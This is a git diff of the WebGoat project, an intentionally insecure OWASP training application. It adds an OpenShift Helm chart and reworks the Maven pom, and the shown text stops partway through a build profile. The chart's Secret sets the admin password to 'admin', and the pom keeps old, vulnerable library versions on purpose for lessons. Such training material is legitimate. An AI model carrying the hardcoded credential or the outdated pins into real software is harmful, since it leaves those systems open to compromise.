+*.tmproj
+.vscode/

platformQuickStarts/helm/webgoat/Chart.yaml

@@ -0,0 +1,9 @@
+apiVersion: v2
+name: webgoat
+description: WebGoat Learning Environment
+ 
+type: application
+ 
+version: 0.1.0
+ 
+appVersion: "8.2.3-SNAPSHOT"

platformQuickStarts/helm/webgoat/templates/configmap.yaml

@@ -0,0 +1,14 @@
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  name: {{ .Values.webgoat_server.name }}-configmap
+  namespace: {{ .Values.namespace }}
+  labels:
+    app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }} 
+data:
+  TZ: 'Europe/Amsterdam'
+  EXCLUDE_CATEGORIES: 'CLIENT_SIDE'
+  EXCLUDE_LESSONS: 'SqlInjectionAdvanced'
+  WEBWOLF_HOST: '{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}'
+  WEBWOLF_PORT: '80'
+  WEBGOAT_HOST: {{ .Values.webgoat_server.name }}-service

platformQuickStarts/helm/webgoat/templates/deployment.yaml

@@ -0,0 +1,91 @@
+kind: Deployment
+apiVersion: apps/v1
+metadata:
+  labels:
+    app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }} 
+  name: {{ .Values.webgoat_server.name }}
+  namespace: {{ .Values.namespace }}
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: {{ .Values.webgoat_server.name }}
+  template:
+    metadata:
+      labels:
+        app: {{ .Values.webgoat_server.name }} 
+    spec:
+      volumes:
+        - name: webgoat-volume-1
+          persistentVolumeClaim:
+            claimName: {{ .Values.webgoat_server.name }}-pvc 
+      containers:
+        - resources:
+            limits:
+              memory: "1Gi"
+              cpu: "500m"
+            requests:
+              memory: "200Mi"
+              cpu: "100m"
+          name: webgoat
+          ports:
+            - containerPort: 8080
+              protocol: TCP
+            - containerPort: 9090
+              protocol: TCP
+          #livenessProbe:
+          #  failureThreshold: 3
+          #  periodSeconds: 10
+          #  httpGet:
+          #    path: /WebGoat
+          #    port: 8080
+          #readinessProbe:
+          #  failureThreshold: 3
+          #  periodSeconds: 10
+          #  initialDelaySeconds: 60
+          ##  httpGet:
+           #   path: /WebGoat
+           #   port: 8080
+          image: {{ .Values.webgoat_server.image }}
+          command:
+            - 'java'
+          args: ["-Duser.home=/home/webgoat",
+                 "--add-opens","java.base/java.lang=ALL-UNNAMED",
+                 "--add-opens","java.base/java.util=ALL-UNNAMED",
+                 "--add-opens","java.base/java.lang.reflect=ALL-UNNAMED",
+                 "--add-opens","java.base/java.text=ALL-UNNAMED",
+                 "--add-opens","java.desktop/java.beans=ALL-UNNAMED",
+                 "--add-opens","java.desktop/java.awt.font=ALL-UNNAMED",
+                 "--add-opens","java.base/sun.nio.ch=ALL-UNNAMED",
+                 "--add-opens","java.base/java.io=ALL-UNNAMED",
+                 "-Djava.io.tmpdir=/home/webgoat/.webgoat-{{ .Chart.AppVersion }}",
+                 "-Dfile.encoding=UTF-8",
+                 "-Drunning.in.docker=true",
+                 "-Dwebgoat.host=0.0.0.0",
+                 "-Dwebwolf.landingpage.url=http://{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}/landing",
+                 "-Dwebwolf.mail.url=http://{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}/mail",
+                 "-jar","/home/webgoat/webgoat.jar",
+                 "--server.address=0.0.0.0"
+                 ]
+          imagePullPolicy: Always
+          volumeMounts:
+            - name: webgoat-volume-1
+              mountPath: /home/webgoat/.webgoat-{{ .Chart.AppVersion }} 
+          terminationMessagePolicy: File
+          envFrom:
+            - configMapRef:
+                name: {{ .Values.webgoat_server.name }}-configmap 
+            - secretRef:
+                name: {{ .Values.webgoat_server.name }}-secret      
+      restartPolicy: Always
+      terminationGracePeriodSeconds: 30
+      dnsPolicy: ClusterFirst
+      securityContext: {}
+      schedulerName: default-scheduler
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 25%
+      maxSurge: 25%
+  revisionHistoryLimit: 10
+  progressDeadlineSeconds: 600

platformQuickStarts/helm/webgoat/templates/persistent-storage-claim

@@ -0,0 +1,13 @@
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+  name: '{{ .Values.webgoat_server.name }}-pvc'
+  namespace: '{{ .Values.namespace }}'
+spec:
+  accessModes:
+    - '{{ .Values.accessMode }}'
+  resources:
+    requests:
+      storage: 1Gi
+  #volumeName: pv0028
+  volumeMode: Filesystem

platformQuickStarts/helm/webgoat/templates/route-goat.yml

@@ -0,0 +1,36 @@
+apiVersion: route.openshift.io/v1
+kind: Route
+metadata:
+  labels:
+    app: {{ .Values.webgoat_server.name }}
+  name: {{ .Values.webgoat_server.name }}-goat
+  namespace: {{ .Values.namespace }}
+spec:
+  tls:
+    termination: edge
+    insecureEdgeTerminationPolicy: Redirect
+  path: /WebGoat
+  port:
+    targetPort: 8080
+  to:
+    kind: Service
+    name: {{ .Values.webgoat_server.name }}-service
+    weight: 100
+  wildcardPolicy: None
+---
+  apiVersion: route.openshift.io/v1
+kind: Route
+metadata:
+  labels:
+    app: {{ .Values.webgoat_server.name }}
+  name: {{ .Values.webgoat_server.name }}-wolf
+  namespace: {{ .Values.namespace }}
+spec:
+  path: /
+  port:
+    targetPort: 9090
+  to:
+    kind: Service
+    name: {{ .Values.webgoat_server.name }}-wolfservice
+    weight: 100
+  wildcardPolicy: None

platformQuickStarts/helm/webgoat/templates/secrets.yaml

@@ -0,0 +1,7 @@
+apiVersion: v1
+kind: Secret
+metadata:
+  name: {{ .Values.webgoat_server.name }}-secret
+  namespace: {{ .Values.namespace }}
+stringData:
+  ADMIN_PASSWORD: admin

platformQuickStarts/helm/webgoat/templates/service.yaml

@@ -0,0 +1,35 @@
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: {{ .Values.webgoat_server.name }}
+    app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
+  name: {{ .Values.webgoat_server.name }}-service
+  namespace: {{ .Values.namespace }}
+spec:
+  ports:
+  - name: 8080-tcp
+    port: 8080
+    protocol: TCP
+    targetPort: 8080
+  selector:
+    app: {{ .Values.webgoat_server.name }}
+  sessionAffinity: None
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: {{ .Values.webgoat_server.name }}
+    app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
+  name: {{ .Values.webgoat_server.name }}-wolfservice
+  namespace: {{ .Values.namespace }}
+spec:
+  ports:
+  - name: 9090-tcp
+    port: 9090
+    protocol: TCP
+    targetPort: 9090
+  selector:
+    app: {{ .Values.webgoat_server.name }}
+  sessionAffinity: None

platformQuickStarts/helm/webgoat/values.yaml

@@ -0,0 +1,11 @@
+namespace: demo-project
+urlpostfix: .apps-crc.testing
+accessMode: ReadWriteMany
+ 
+webgoat_server:
+  name: webgoat-1
+  image: docker.io/webgoat/webgoat:latest
+
+webwolf_server:
+  name: webwolf-1
+  image: docker.io/webgoat/webgoat:latest

pom.xml

@@ -1,26 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
+<?xml version="1.0"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+
     <modelVersion>4.0.0</modelVersion>
+    <groupId>org.owasp.webgoat</groupId>
+    <artifactId>webgoat-parent</artifactId>
+    <packaging>pom</packaging>
+    <version>8.2.3-SNAPSHOT</version>
 
     <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
-    <version>3.1.5</version>
+        <version>2.5.4</version>
     </parent>
 
-  <groupId>org.owasp.webgoat</groupId>
+    <name>WebGoat Parent Pom</name>
-  <artifactId>webgoat</artifactId>
+    <description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
-  <version>2023.5</version>
-  <packaging>jar</packaging>
-
-  <name>WebGoat</name>
-  <description>WebGoat, a deliberately insecure Web Application</description>
-  <url>https://github.com/WebGoat/WebGoat</url>
     <inceptionYear>2006</inceptionYear>
+    <url>https://github.com/WebGoat/WebGoat</url>
+
     <organization>
         <name>OWASP</name>
         <url>https://github.com/WebGoat/WebGoat/</url>
     </organization>
+
     <licenses>
         <license>
             <name>GNU General Public License, version 2</name>
@@ -61,17 +64,17 @@
         <developer>
             <id>jwayman</id>
             <name>Jeff Wayman</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>dcowden</id>
             <name>Dave Cowden</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>lawson89</id>
             <name>Richard Lawson</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>dougmorato</id>
@@ -95,11 +98,12 @@
             <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
         </mailingList>
     </mailingLists>
+
     <scm>
+        <url>https://github.com/WebGoat/WebGoat</url>
         <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
         <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
         <tag>HEAD</tag>
-    <url>https://github.com/WebGoat/WebGoat</url>
     </scm>
 
     <issueManagement>
@@ -108,173 +112,39 @@
     </issueManagement>
 
     <properties>
+        <!-- Use UTF-8 Encoding -->
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
+        <maven.compiler.source>17</maven.compiler.source>
+        <maven.compiler.target>17</maven.compiler.target>
+
         <!-- Shared properties with plugins and version numbers across submodules-->
-    <asciidoctorj.version>2.5.10</asciidoctorj.version>
+        <asciidoctorj.version>2.5.2</asciidoctorj.version>
-    <bootstrap.version>5.3.1</bootstrap.version>
-    <cglib.version>3.3.0</cglib.version>
-    <!-- do not update necessary for lesson -->
-    <checkstyle.version>3.3.1</checkstyle.version>
         <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.14.0</commons-io.version>
         <commons-lang3.version>3.12.0</commons-lang3.version>
-    <commons-text.version>1.10.0</commons-text.version>
+        <commons-io.version>2.6</commons-io.version>
-    <guava.version>32.1.3-jre</guava.version>
+        <guava.version>30.1-jre</guava.version>
-    <jacoco.version>0.8.11</jacoco.version>
+        <lombok.version>1.18.20</lombok.version>
-    <java.version>17</java.version>
+        <wiremock.version>2.27.2</wiremock.version>
-    <jaxb.version>2.3.1</jaxb.version>
-    <jjwt.version>0.9.1</jjwt.version>
-    <jose4j.version>0.9.3</jose4j.version>
-    <jquery.version>3.7.0</jquery.version>
-    <jsoup.version>1.16.1</jsoup.version>
         <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
         <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
         <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
         <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
         <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-    <maven-surefire-plugin.version>3.2.1</maven-surefire-plugin.version>
+        <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
-    <maven.compiler.source>17</maven.compiler.source>
+        <java.version>17</java.version>
-    <maven.compiler.target>17</maven.compiler.target>
-    <pmd.version>3.15.0</pmd.version>
-    <!-- Use UTF-8 Encoding -->
-    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-    <thymeleaf.version>3.1.1.RELEASE</thymeleaf.version>
-    <webdriver.version>5.3.3</webdriver.version>
-    <webgoat.context>/</webgoat.context>
-    <webgoat.port>8080</webgoat.port>
-    <webjars-locator-core.version>0.53</webjars-locator-core.version>
-    <webwolf.context>/</webwolf.context>
-    <webwolf.port>9090</webwolf.port>
-    <wiremock.version>2.27.2</wiremock.version>
-    <xml-resolver.version>1.2</xml-resolver.version>
-    <xstream.version>1.4.5</xstream.version>
-    <!-- do not update necessary for lesson -->
-    <zxcvbn.version>1.8.0</zxcvbn.version>
     </properties>
 
-  <dependencyManagement>
+    <modules>
-    <dependencies>
+        <module>webgoat-container</module>
+        <module>webgoat-lessons</module>
+        <module>webgoat-server</module>
+        <module>webwolf</module>
+        <module>webgoat-integration-tests</module>
+		<module>docker</module><!-- copy required jars in preparation of docker all-in-one build -->
+    </modules>
 
-      <dependency>
-        <groupId>org.ow2.asm</groupId>
-        <artifactId>asm</artifactId>
-        <version>9.5</version>
-      </dependency>
-
-      <dependency>
-        <groupId>org.apache.commons</groupId>
-        <artifactId>commons-exec</artifactId>
-        <version>1.3</version>
-      </dependency>
-      <dependency>
-        <groupId>org.asciidoctor</groupId>
-        <artifactId>asciidoctorj</artifactId>
-        <version>${asciidoctorj.version}</version>
-      </dependency>
-      <dependency>
-        <!-- jsoup HTML parser library @ https://jsoup.org/ -->
-        <groupId>org.jsoup</groupId>
-        <artifactId>jsoup</artifactId>
-        <version>${jsoup.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>com.nulab-inc</groupId>
-        <artifactId>zxcvbn</artifactId>
-        <version>${zxcvbn.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>com.thoughtworks.xstream</groupId>
-        <artifactId>xstream</artifactId>
-        <version>${xstream.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>cglib</groupId>
-        <artifactId>cglib-nodep</artifactId>
-        <version>${cglib.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>xml-resolver</groupId>
-        <artifactId>xml-resolver</artifactId>
-        <version>${xml-resolver.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>io.jsonwebtoken</groupId>
-        <artifactId>jjwt</artifactId>
-        <version>${jjwt.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>com.auth0</groupId>
-        <artifactId>jwks-rsa</artifactId>
-        <version>0.22.1</version>
-      </dependency>
-      <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
-      <dependency>
-        <groupId>com.auth0</groupId>
-        <artifactId>java-jwt</artifactId>
-        <version>4.4.0</version>
-      </dependency>
-      <dependency>
-        <groupId>com.google.guava</groupId>
-        <artifactId>guava</artifactId>
-        <version>${guava.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>commons-io</groupId>
-        <artifactId>commons-io</artifactId>
-        <version>${commons-io.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.apache.commons</groupId>
-        <artifactId>commons-text</artifactId>
-        <version>${commons-text.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.bitbucket.b_c</groupId>
-        <artifactId>jose4j</artifactId>
-        <version>${jose4j.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.webjars</groupId>
-        <artifactId>bootstrap</artifactId>
-        <version>${bootstrap.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.webjars</groupId>
-        <artifactId>jquery</artifactId>
-        <version>${jquery.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.webjars</groupId>
-        <artifactId>webjars-locator-core</artifactId>
-        <version>${webjars-locator-core.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>com.github.tomakehurst</groupId>
-        <artifactId>wiremock</artifactId>
-        <version>${wiremock.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>io.github.bonigarcia</groupId>
-        <artifactId>webdrivermanager</artifactId>
-        <version>${webdriver.version}</version>
-      </dependency>
-      <dependency>
-        <groupId>org.apache.commons</groupId>
-        <artifactId>commons-compress</artifactId>
-        <version>1.25.0</version>
-      </dependency>
-      <dependency>
-        <groupId>org.jruby</groupId>
-        <artifactId>jruby</artifactId>
-        <version>9.4.3.0</version>
-      </dependency>
-    </dependencies>
-  </dependencyManagement>
     <dependencies>
-    <dependency>
-      <groupId>org.apache.commons</groupId>
-      <artifactId>commons-exec</artifactId>
-    </dependency>
 	    <dependency>
 			<groupId>org.springframework.boot</groupId>
 			<artifactId>spring-boot-starter-validation</artifactId>
@@ -285,277 +155,49 @@
             <scope>provided</scope>
             <optional>true</optional>
         </dependency>
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-exec</artifactId>
+            <version>1.3</version>
+        </dependency>
         <dependency>
             <groupId>javax.xml.bind</groupId>
             <artifactId>jaxb-api</artifactId>
-      <version>${jaxb.version}</version>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-undertow</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-web</artifactId>
-      <exclusions>
-        <exclusion>
-          <groupId>org.springframework.boot</groupId>
-          <artifactId>spring-boot-starter-tomcat</artifactId>
-        </exclusion>
-      </exclusions>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-actuator</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.flywaydb</groupId>
-      <artifactId>flyway-core</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.asciidoctor</groupId>
-      <artifactId>asciidoctorj</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-data-jpa</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-security</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-thymeleaf</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-oauth2-client</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.thymeleaf.extras</groupId>
-      <artifactId>thymeleaf-extras-springsecurity6</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>jakarta.servlet</groupId>
-      <artifactId>jakarta.servlet-api</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.hsqldb</groupId>
-      <artifactId>hsqldb</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.jsoup</groupId>
-      <artifactId>jsoup</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>com.nulab-inc</groupId>
-      <artifactId>zxcvbn</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>com.thoughtworks.xstream</groupId>
-      <artifactId>xstream</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>cglib</groupId>
-      <artifactId>cglib-nodep</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>xml-resolver</groupId>
-      <artifactId>xml-resolver</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>io.jsonwebtoken</groupId>
-      <artifactId>jjwt</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>com.auth0</groupId>
-      <artifactId>jwks-rsa</artifactId>
-    </dependency>
-    <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
-    <dependency>
-      <groupId>com.auth0</groupId>
-      <artifactId>java-jwt</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>com.google.guava</groupId>
-      <artifactId>guava</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>commons-io</groupId>
-      <artifactId>commons-io</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.apache.commons</groupId>
-      <artifactId>commons-lang3</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.apache.commons</groupId>
-      <artifactId>commons-text</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.bitbucket.b_c</groupId>
-      <artifactId>jose4j</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.webjars</groupId>
-      <artifactId>bootstrap</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.webjars</groupId>
-      <artifactId>jquery</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>org.webjars</groupId>
-      <artifactId>webjars-locator-core</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>jakarta.xml.bind</groupId>
-      <artifactId>jakarta.xml.bind-api</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>com.sun.xml.bind</groupId>
-      <artifactId>jaxb-impl</artifactId>
-      <scope>runtime</scope>
-    </dependency>
-
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-test</artifactId>
-      <scope>test</scope>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.security</groupId>
-      <artifactId>spring-security-test</artifactId>
-      <scope>test</scope>
-    </dependency>
-    <dependency>
-      <groupId>com.github.tomakehurst</groupId>
-      <artifactId>wiremock</artifactId>
-      <version>3.0.0-beta-2</version>
-      <scope>test</scope>
-    </dependency>
-    <dependency>
-      <groupId>io.rest-assured</groupId>
-      <artifactId>rest-assured</artifactId>
-      <scope>test</scope>
-    </dependency>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-properties-migrator</artifactId>
-      <scope>runtime</scope>
         </dependency>
     </dependencies>
 
-  <repositories>
-    <repository>
-      <snapshots>
-        <enabled>false</enabled>
-      </snapshots>
-      <id>central</id>
-      <url>https://repo.maven.apache.org/maven2</url>
-    </repository>
-  </repositories>
-  <pluginRepositories>
-    <pluginRepository>
-      <snapshots>
-        <enabled>false</enabled>
-      </snapshots>
-      <id>central</id>
-      <url>https://repo.maven.apache.org/maven2</url>
-    </pluginRepository>
-  </pluginRepositories>
-
     <build>
         <plugins>
-      <plugin>
-        <groupId>org.springframework.boot</groupId>
-        <artifactId>spring-boot-maven-plugin</artifactId>
-        <configuration>
-          <excludeDevtools>true</excludeDevtools>
-          <executable>true</executable>
-          <mainClass>org.owasp.webgoat.server.StartWebGoat</mainClass>
-          <!-- See http://docs.spring.io/spring-boot/docs/current/reference/html/howto-build.html#howto-extract-specific-libraries-when-an-executable-jar-runs -->
-          <requiresUnpack>
-            <dependency>
-              <groupId>org.asciidoctor</groupId>
-              <artifactId>asciidoctorj</artifactId>
-            </dependency>
-          </requiresUnpack>
-        </configuration>
-        <executions>
-          <execution>
-            <goals>
-              <goal>repackage</goal>
-            </goals>
-          </execution>
-        </executions>
-      </plugin>
             <plugin>
                 <groupId>org.codehaus.mojo</groupId>
-        <artifactId>build-helper-maven-plugin</artifactId>
+                <artifactId>flatten-maven-plugin</artifactId>
-        <executions>
+                <version>1.2.5</version>
-          <execution>
-            <id>add-integration-test-source-as-test-sources</id>
-            <goals>
-              <goal>add-test-source</goal>
-            </goals>
-            <phase>generate-test-sources</phase>
                 <configuration>
-              <sources>
-                <source>src/it/java</source>
-              </sources>
-            </configuration>
-          </execution>
-        </executions>
-      </plugin>
-      <plugin>
-        <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>maven-failsafe-plugin</artifactId>
-        <configuration>
-          <systemPropertyVariables>
-            <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
-          </systemPropertyVariables>
-          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} -Dwebwolfcontext=${webwolf.context} -Dwebgoatcontext=${webgoat.context}</argLine>
-          <includes>org/owasp/webgoat/*Test</includes>
                 </configuration>
                 <executions>
                     <execution>
-            <id>integration-test</id>
+                        <id>flatten</id>
+                        <phase>process-resources</phase>
                         <goals>
-              <goal>integration-test</goal>
+                            <goal>flatten</goal>
-            </goals>
-          </execution>
-          <execution>
-            <id>verify</id>
-            <goals>
-              <goal>verify</goal>
                         </goals>
                     </execution>
                 </executions>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>maven-surefire-plugin</artifactId>
+                <artifactId>maven-compiler-plugin</artifactId>
-        <version>${maven-surefire-plugin.version}</version>
+                <version>${maven-compiler-plugin.version}</version>
                 <configuration>
-          <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
+                    <source>15</source>
-          <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+                    <target>15</target>
-          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+                    <encoding>UTF-8</encoding>
-          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
-          --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
-          <excludes>
-            <exclude>**/*IntegrationTest.java</exclude>
-            <exclude>src/it/java</exclude>
-            <exclude>org/owasp/webgoat/*Test</exclude>
-          </excludes>
                 </configuration>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-checkstyle-plugin</artifactId>
-        <version>${checkstyle.version}</version>
+                <version>3.1.2</version>
                 <configuration>
                     <encoding>UTF-8</encoding>
                     <consoleOutput>true</consoleOutput>
@@ -566,57 +208,18 @@
                 </configuration>
             </plugin>
             <plugin>
-        <groupId>com.diffplug.spotless</groupId>
+                <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>spotless-maven-plugin</artifactId>
+                <artifactId>maven-pmd-plugin</artifactId>
-        <version>2.38.0</version>
+                <version>3.14.0</version>
                 <configuration>
-          <formats>
+                    <targetJdk>15</targetJdk>
-            <format>
+                    <failurePriority>1</failurePriority><!-- 5 means fail even on the lowest priority, 0 means never fail -->
-              <includes>
+                    <rulesets>
-                <include>.gitignore</include>
+                        <!--suppress UnresolvedMavenProperty -->
-              </includes>
+                        <ruleset>${maven.multiModuleProjectDirectory}/config/pmd/pmd-ruleset.xml</ruleset>
-              <trimTrailingWhitespace></trimTrailingWhitespace>
+                    </rulesets>
-              <endWithNewline></endWithNewline>
+                    <failOnViolation>true</failOnViolation>
-              <indent>
+                    <printFailingErrors>true</printFailingErrors>
-                <tabs>true</tabs>
-                <spacesPerTab>4</spacesPerTab>
-              </indent>
-            </format>
-          </formats>
-          <markdown>
-            <includes>
-              <include>**/*.md</include>
-            </includes>
-            <flexmark></flexmark>
-          </markdown>
-          <java>
-            <includes>
-              <include>src/main/java/**/*.java</include>
-              <include>src/test/java/**/*.java</include>
-              <include>src/it/java/**/*.java</include>
-            </includes>
-            <removeUnusedImports></removeUnusedImports>
-            <googleJavaFormat>
-              <style>GOOGLE</style>
-              <reflowLongStrings>true</reflowLongStrings>
-            </googleJavaFormat>
-          </java>
-          <pom>
-            <sortPom>
-              <encoding>UTF-8</encoding>
-              <lineSeparator>${line.separator}</lineSeparator>
-              <expandEmptyElements>true</expandEmptyElements>
-              <spaceBeforeCloseEmptyElement>false</spaceBeforeCloseEmptyElement>
-              <keepBlankLines>true</keepBlankLines>
-              <nrOfIndentSpace>2</nrOfIndentSpace>
-              <indentBlankLines>false</indentBlankLines>
-              <indentSchemaLocation>false</indentSchemaLocation>
-              <predefinedSortOrder>recommended_2008_06</predefinedSortOrder>
-              <sortProperties>true</sortProperties>
-              <sortModules>true</sortModules>
-              <sortExecutions>true</sortExecutions>
-            </sortPom>
-          </pom>
                 </configuration>
                 <executions>
                     <execution>
@@ -626,137 +229,10 @@
                     </execution>
                 </executions>
             </plugin>
-      <plugin>
-        <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>maven-enforcer-plugin</artifactId>
-        <version>3.3.0</version>
-        <executions>
-          <execution>
-            <id>restrict-log4j-versions</id>
-            <goals>
-              <goal>enforce</goal>
-            </goals>
-            <phase>validate</phase>
-            <configuration>
-              <rules>
-                <bannedDependencies>
-                  <excludes combine.children="append">
-                    <exclude>org.apache.logging.log4j:log4j-core</exclude>
-                  </excludes>
-                </bannedDependencies>
-              </rules>
-              <fail>true</fail>
-            </configuration>
-          </execution>
-        </executions>
-      </plugin>
-      <plugin>
-        <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>maven-compiler-plugin</artifactId>
-        <configuration>
-          <source>17</source>
-          <target>17</target>
-        </configuration>
-      </plugin>
         </plugins>
     </build>
 
     <profiles>
-    <profile>
-      <id>local-server</id>
-    </profile>
-    <profile>
-      <id>start-server</id>
-      <activation>
-        <activeByDefault>true</activeByDefault>
-      </activation>
-      <build>
-        <plugins>
-          <plugin>
-            <groupId>org.codehaus.mojo</groupId>
-            <artifactId>build-helper-maven-plugin</artifactId>
-            <executions>
-              <execution>
-                <id>reserve-container-port</id>
-                <goals>
-                  <goal>reserve-network-port</goal>
-                </goals>
-                <phase>process-resources</phase>
-                <configuration>
-                  <portNames>
-                    <portName>webgoat.port</portName>
-                    <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
-                  </portNames>
-                </configuration>
-              </execution>
-            </executions>
-          </plugin>
-          <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
-            <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
-            <executions>
-              <execution>
-                <id>start-jar</id>
-                <goals>
-                  <goal>start</goal>
-                </goals>
-                <phase>pre-integration-test</phase>
-                <configuration>
-                  <workingDir>${project.build.directory}</workingDir>
-                  <arguments>
-                    <argument>java</argument>
-                    <argument>-jar</argument>
-                    <argument>-Dlogging.pattern.console=</argument>
-                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
-                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
-                    <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebgoat.context=${webgoat.context}</argument>
